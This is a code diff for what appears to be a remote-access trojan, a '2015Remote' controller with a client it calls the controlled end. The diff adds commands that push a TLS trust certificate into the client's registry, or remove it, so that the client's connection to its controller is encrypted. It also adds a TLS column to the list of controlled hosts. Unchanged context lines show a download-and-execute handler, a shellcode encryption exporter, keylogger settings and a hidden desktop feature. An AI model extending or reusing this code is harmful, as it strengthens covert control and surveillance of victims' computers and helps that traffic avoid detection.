diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 23eb759..9857837 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -839,6 +839,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         break;
     }
 
+    case COMMAND_TLS_ENABLE: {
+        // 服务端下发信任锚证书：payload = PEM 正文（szBuffer+1 .. ulLength-1）。
+        // 写入注册表 settings\tls_cert，客户端下次启动读到证书即启用 TLS（非实时）。
+        if (ulLength > 1) {
+            std::string certPem((char*)szBuffer + 1, ulLength - 1);
+            m_cfg->SetStr("settings", "tls_cert", certPem);
+        }
+        break;
+    }
+    case COMMAND_TLS_DISABLE: {
+        // 删除注册表信任锚，客户端下次启动无证书即回明文（非实时）。
+        std::string subKey = GetRegistryName() + "\\settings";
+        HKEY hKey = NULL;
+        if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
+                          KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
+            RegDeleteValueA(hKey, "tls_cert");
+            RegCloseKey(hKey);
+        }
+        break;
+    }
+
     case COMMAND_DOWN_EXEC: {
         std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
         break;
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 687d838..1d09014 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -444,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
     double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
     sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
     LoginInfor.AddReserved(fileSize);                  // 文件大小
+    LoginInfor.AddReserved(TlsEnabled() ? 1 : 0);  // TLS 启用标志：有信任锚（证书）即 1
     return LoginInfor;
 }
 
diff --git a/common/commands.h b/common/commands.h
index 8ccce70..f772776 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -325,6 +325,8 @@ enum {
     COMMAND_FILE_MANAGER_PLUGIN = 163,   // 服务端 → 客户端：打开插件文件管理对话框（SimplePlugins 迁移）
     COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端：打开隐私屏幕（虚拟桌面，SimplePlugins 迁移）
     COMMAND_DRAWING_BOARD_PLUGIN = 165,  // 服务端 → 客户端：打开远程画板（SimplePlugins 迁移）
+    COMMAND_TLS_ENABLE = 166,   // 服务端 → 客户端：启用 TLS 传输（写注册表，下次启动生效）
+    COMMAND_TLS_DISABLE = 167,  // 服务端 → 客户端：停用 TLS 传输（写注册表，下次启动生效）
 
     TOKEN_DECRYPT = 199,
     TOKEN_REGEDIT = 200,            // 注册表
@@ -1061,6 +1063,7 @@ enum LOGIN_RES {
     RES_CLIENT_ID = 16,                     // 客户端唯一ID
     RES_PID = 17,                           // 进程ID
     RES_FILESIZE = 18,                       // 文件大小
+    RES_TLS = 19,                           // TLS 传输启用标志 0/1
     RES_MAX,
 };
 
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 329cb53..6d7c40d 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index fc264a8..5da7d5c 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -51,6 +51,7 @@
 #include "McpServer.h"
 #include "McpSettingsDlg.h"
 #include "TlsCertificateDlg.h"
+#include "ServerTlsSession.h"
 #include "common/md5.h"
 #include <algorithm>
 #include <set>
@@ -148,23 +149,24 @@ const int  g_Column_Count_Online  = ONLINELIST_MAX + 1; // 1 缩略图 + 既有
 
 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
     {"预览",            60  },
-    {"IP",				130	},
-    {"端口",			60	},
+    {"IP",				120	},
+    {"端口",			55	},
     {"地理位置",		140	},
     {"计算机名/备注",	140	},
-    {"操作系统",		120	},
-    {"CPU",				80	},
-    {"摄像头",			60	},
-    {"RTT",				60	},
+    {"操作系统",		135	},
+    {"CPU",				75},
+    {"摄像头",			55	},
+    {"RTT",				55	},
     {"版本",			90	},
     {"安装时间",        130 },
-    {"活动窗口",		130 },
+    {"活动窗口",		145 },
     {"类型",			50 },
     {"",                0   },
     {"",                0   },
     {"",                0   },
     {"",                0   },
     {"权限",			60	},
+    {"TLS",             50  },
 };
 
 // 缩略图列号常量 + 列号→数据槽映射。负返回值代表"该列无数据槽"。
@@ -738,6 +740,8 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
     m_bmOnline[66].LoadBitmap(IDB_BITMAP_FILE_MANAGER);       // 文件管理
     m_bmOnline[67].LoadBitmap(IDB_BITMAP_PRIVACY_SHIELD);     // 隐私屏幕
     m_bmOnline[68].LoadBitmap(IDB_BITMAP_DRAWING_BOARD);      // 远程画板
+    m_bmOnline[69].LoadBitmap(IDB_BITMAP_TLS_ENABLE);         // TLS 传输
+    m_bmOnline[70].LoadBitmap(IDB_BITMAP_TLS_DISABLE);        // 取消 TLS
     for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
         m_ServerDLL[i] = nullptr;
         m_ServerBin[i] = nullptr;
@@ -1067,6 +1071,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
     ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
     ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
     ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
+    ON_COMMAND(ID_EXPERIMENT_TLS_ENABLE, &CMy2015RemoteDlg::OnExperimentTlsEnable)
+    ON_COMMAND(ID_EXPERIMENT_TLS_DISABLE, &CMy2015RemoteDlg::OnExperimentTlsDisable)
     ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
     ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
     ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1674,10 +1680,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
     const std::string& privUser = v[RES_USERNAME];
     const std::string& privAdmin = v[RES_ISADMIN];
     CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
+    CString tlsStr = v[RES_TLS].empty() ? "N" : v[RES_TLS] == "1" ? "Y" : "N";
 
     CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
                                      verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
-                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr,
+                                     v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr, privilegeStr, tlsStr,
                                    };
     // 优先采用客户端自报的 ID（新客户端用 V2 算法 = MachineGuid + 归一化路径，
     // 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定）。
@@ -4546,6 +4553,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_FILE_MANAGER,   MF_BYCOMMAND, &m_bmOnline[66], &m_bmOnline[66]);
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[67], &m_bmOnline[67]);
     Menu.SetMenuItemBitmaps(ID_EXPERIMENT_DRAWING_BOARD,  MF_BYCOMMAND, &m_bmOnline[68], &m_bmOnline[68]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_ENABLE,     MF_BYCOMMAND, &m_bmOnline[69], &m_bmOnline[69]);
+    Menu.SetMenuItemBitmaps(ID_EXPERIMENT_TLS_DISABLE,    MF_BYCOMMAND, &m_bmOnline[70], &m_bmOnline[70]);
 
     Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
 
@@ -4718,6 +4727,53 @@ void CMy2015RemoteDlg::OnExperimentDrawingBoard()
     SendSelectedCommand(&bToken, sizeof(BYTE));
 }
 
+void CMy2015RemoteDlg::OnExperimentTlsEnable()
+{
+    // 前置校验：服务端未启用 TLS 证书时，无信任锚可下发，仅提示、不下发指令。
+    if (!ServerTlsIdentity::IsReady()) {
+        MessageBoxL(_T("服务端未启用 TLS 证书，无法切换客户端 TLS 传输"),
+                    _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    // 二次确认：避免误点就切换被控端 TLS；客户端写注册表，下次启动生效
+    if (IDYES != MessageBoxL(_T("确定对选中主机启用 TLS 传输吗？（客户端下次启动生效）"),
+                             _T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
+
+    // 读取服务端证书（信任锚），随启用指令一并下发；客户端写入注册表 settings\tls_cert。
+    std::ifstream certFile(THIS_CFG.GetStr("tls", "CertPath", ""), std::ios::binary);
+    if (!certFile.is_open()) {
+        MessageBoxL(_T("读取服务端 TLS 证书失败，无法下发"), _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    std::ostringstream ss;
+    ss << certFile.rdbuf();
+    std::string certPem = ss.str();
+    if (certPem.empty()) {
+        MessageBoxL(_T("读取服务端 TLS 证书失败，无法下发"), _T("提示"), MB_ICONWARNING);
+        return;
+    }
+
+    // 报文：命令字节 + PEM 正文
+    std::vector<BYTE> pkt;
+    pkt.reserve(1 + certPem.size());
+    pkt.push_back((BYTE)COMMAND_TLS_ENABLE);
+    pkt.insert(pkt.end(), certPem.begin(), certPem.end());
+    SendSelectedCommand(pkt.data(), (ULONG)pkt.size());
+}
+
+void CMy2015RemoteDlg::OnExperimentTlsDisable()
+{
+    if (!ServerTlsIdentity::IsReady()) {
+        MessageBoxL(_T("服务端未启用 TLS 证书，无法切换客户端 TLS 传输"),
+                    _T("提示"), MB_ICONWARNING);
+        return;
+    }
+    if (IDYES != MessageBoxL(_T("确定取消选中主机的 TLS 传输吗？（客户端下次启动生效）"),
+                             _T("提示"), MB_ICONQUESTION | MB_YESNO)) return;
+    BYTE bToken = COMMAND_TLS_DISABLE;  //向被控端发送停用 TLS 传输命令
+    SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
 
 // 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
 BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 528de9b..2972cb6 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -441,7 +441,7 @@ public:
     bool IsDllRequestLimited(const std::string& ip);
     void RecordDllRequest(const std::string& ip);
     CMenu	   m_MainMenu;
-    CBitmap m_bmOnline[69];
+    CBitmap m_bmOnline[71];
     uint64_t m_superID;
     std::map<HWND, CDialogBase *> m_RemoteWnds;
     FileTransformCmd m_CmdList;
@@ -531,6 +531,8 @@ public:
     afx_msg void OnExperimentFileManager();
     afx_msg void OnExperimentPrivateScreen();
     afx_msg void OnExperimentDrawingBoard();
+    afx_msg void OnExperimentTlsEnable();
+    afx_msg void OnExperimentTlsDisable();
     afx_msg void OnOnlineDelete();
     afx_msg void OnOnlineUpdate();
     afx_msg void OnAbout();
diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h
index a3d9056..d3979b3 100644
--- a/server/2015Remote/context.h
+++ b/server/2015Remote/context.h
@@ -22,6 +22,7 @@ enum {
     ONLINELIST_STARTTIME,
     ONLINELIST_CAPABILITIES,    // 客户端能力位
     ONLINELIST_PRIVILEGE,       // 权限级别 (SYSTEM/Admin/User)
+    ONLINELIST_TLS,             // TLS 传输启用标志 (0/1)
     ONLINELIST_MAX,
 };
 
diff --git a/server/2015Remote/lang/de_DE.ini b/server/2015Remote/lang/de_DE.ini
index 1a21fe8..b036bf5 100644
--- a/server/2015Remote/lang/de_DE.ini
+++ b/server/2015Remote/lang/de_DE.ini
@@ -2081,3 +2081,9 @@ TLS֤
 TLS �����ѱ��档=TLS-Einstellungen gespeichert.
 �Ķ����½����Ӽ�ʱ��Ч��=Aenderungen gelten sofort fuer neue Verbindungen.
 ֤��/˽Կ����ʧ�ܣ����ܹ���δ��Ч�������ļ�·�����ʽ��֤�� PEM��˽Կ PKCS#8����=Zertifikat/privater Schluessel konnte nicht geladen werden; Verschluesselung ist inaktiv. Bitte Pfad und Format pruefen (PEM-Zertifikat, PKCS#8-Schluessel).
+TLS����=TLS-Transport
+ȡ��TLS=TLS deaktivieren
+ȷ����ѡ���������� TLS �����𣿣��ͻ����´�������Ч��=TLS-Transport fuer die ausgewaehlten Hosts aktivieren? (wirkt nach Client-Neustart)
+ȷ��ȡ��ѡ�������� TLS �����𣿣��ͻ����´�������Ч��=TLS-Transport fuer die ausgewaehlten Hosts deaktivieren? (wirkt nach Client-Neustart)
+�����δ���� TLS ֤�飬�޷��л��ͻ��� TLS ����=Server-TLS-Zertifikat ist nicht aktiviert; TLS-Transport der Clients kann nicht umgeschaltet werden
+��ȡ����� TLS ֤��ʧ�ܣ��޷��·�=Server-TLS-Zertifikat konnte nicht gelesen werden; Verteilung nicht moeglich
diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini
index 036c5c0..c4f6f96 100644
--- a/server/2015Remote/lang/en_US.ini
+++ b/server/2015Remote/lang/en_US.ini
@@ -2096,3 +2096,9 @@ TLS֤
 TLS �����ѱ��档=TLS settings saved.
 �Ķ����½����Ӽ�ʱ��Ч��=Changes take effect immediately for new connections.
 ֤��/˽Կ����ʧ�ܣ����ܹ���δ��Ч�������ļ�·�����ʽ��֤�� PEM��˽Կ PKCS#8����=Failed to load certificate/private key; encryption is not active. Check the file path and format (PEM certificate, PKCS#8 private key).
+TLS����=TLS Transport
+ȡ��TLS=Disable TLS
+ȷ����ѡ���������� TLS �����𣿣��ͻ����´�������Ч��=Enable TLS transport for the selected host? (takes effect after the client restarts)
+ȷ��ȡ��ѡ�������� TLS �����𣿣��ͻ����´�������Ч��=Disable TLS transport for the selected host? (takes effect after the client restarts)
+�����δ���� TLS ֤�飬�޷��л��ͻ��� TLS ����=Server TLS certificate is not enabled; cannot toggle client TLS transport
+��ȡ����� TLS ֤��ʧ�ܣ��޷��·�=Failed to read the server TLS certificate; cannot distribute
diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini
index 4b91698..b1f9f71 100644
--- a/server/2015Remote/lang/zh_TW.ini
+++ b/server/2015Remote/lang/zh_TW.ini
@@ -2087,3 +2087,9 @@ TLS֤
 TLS �����ѱ��档=TLS �O���у��档
 �Ķ����½����Ӽ�ʱ��Ч��=׃�������B�����r��Ч��
 ֤��/˽Կ����ʧ�ܣ����ܹ���δ��Ч�������ļ�·�����ʽ��֤�� PEM��˽Կ PKCS#8����=�{�C/˽��d��ʧ�������ܹ���δ��Ч��Ո�z��n��·���c��ʽ���{�C PEM��˽� PKCS#8����
+TLS����=TLS ��ݔ
+ȡ��TLS=ͣ�� TLS
+ȷ����ѡ���������� TLS �����𣿣��ͻ����´�������Ч��=�_�����xȡ���C���� TLS ��ݔ�᣿���Ñ����´Ά�����Ч��
+ȷ��ȡ��ѡ�������� TLS �����𣿣��ͻ����´�������Ч��=�_��ȡ���xȡ���C�� TLS ��ݔ�᣿���Ñ����´Ά�����Ч��
+�����δ���� TLS ֤�飬�޷��л��ͻ��� TLS ����=�ŷ���δ���� TLS �{�C���o���ГQ�Ñ��� TLS ��ݔ
+��ȡ����� TLS ֤��ʧ�ܣ��޷��·�=�xȡ�ŷ��� TLS �{�Cʧ�����o���°l
diff --git a/server/2015Remote/res/Bitmap/TlsDisable.bmp b/server/2015Remote/res/Bitmap/TlsDisable.bmp
new file mode 100644
index 0000000..89cdbd1
Binary files /dev/null and b/server/2015Remote/res/Bitmap/TlsDisable.bmp differ
diff --git a/server/2015Remote/res/Bitmap/TlsEnable.bmp b/server/2015Remote/res/Bitmap/TlsEnable.bmp
new file mode 100644
index 0000000..ee8a42a
Binary files /dev/null and b/server/2015Remote/res/Bitmap/TlsEnable.bmp differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index fef77a8..4485874 100644
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
@@ -287,6 +287,8 @@
 #define IDB_BITMAP_FILE_MANAGER         407
 #define IDB_BITMAP_PRIVACY_SHIELD       408
 #define IDB_BITMAP_DRAWING_BOARD        409
+#define IDB_BITMAP_TLS_ENABLE           410
+#define IDB_BITMAP_TLS_DISABLE          411
 #define IDC_MESSAGE                     1000
 #define IDC_ONLINE                      1001
 #define IDC_STATIC_TIPS                 1002
@@ -1019,6 +1021,8 @@
 #define ID_EXPERIMENT_FILE_MANAGER      33090
 #define ID_EXPERIMENT_PRIVATE_SCREEN    33091
 #define ID_EXPERIMENT_DRAWING_BOARD     33092
+#define ID_EXPERIMENT_TLS_ENABLE        33094
+#define ID_EXPERIMENT_TLS_DISABLE       33095
 #define ID_33046                        33046
 #define ID_PROXY_PORT_AUTORUN           33047
 #define ID_TRIGGER_SETTINGS             33048
@@ -1115,8 +1119,8 @@
 //
 #ifdef APSTUDIO_INVOKED
 #ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE        410
-#define _APS_NEXT_COMMAND_VALUE         33094
+#define _APS_NEXT_RESOURCE_VALUE        412
+#define _APS_NEXT_COMMAND_VALUE         33096
 #define _APS_NEXT_CONTROL_VALUE         2620
 #define _APS_NEXT_SYMED_VALUE           105
 #endif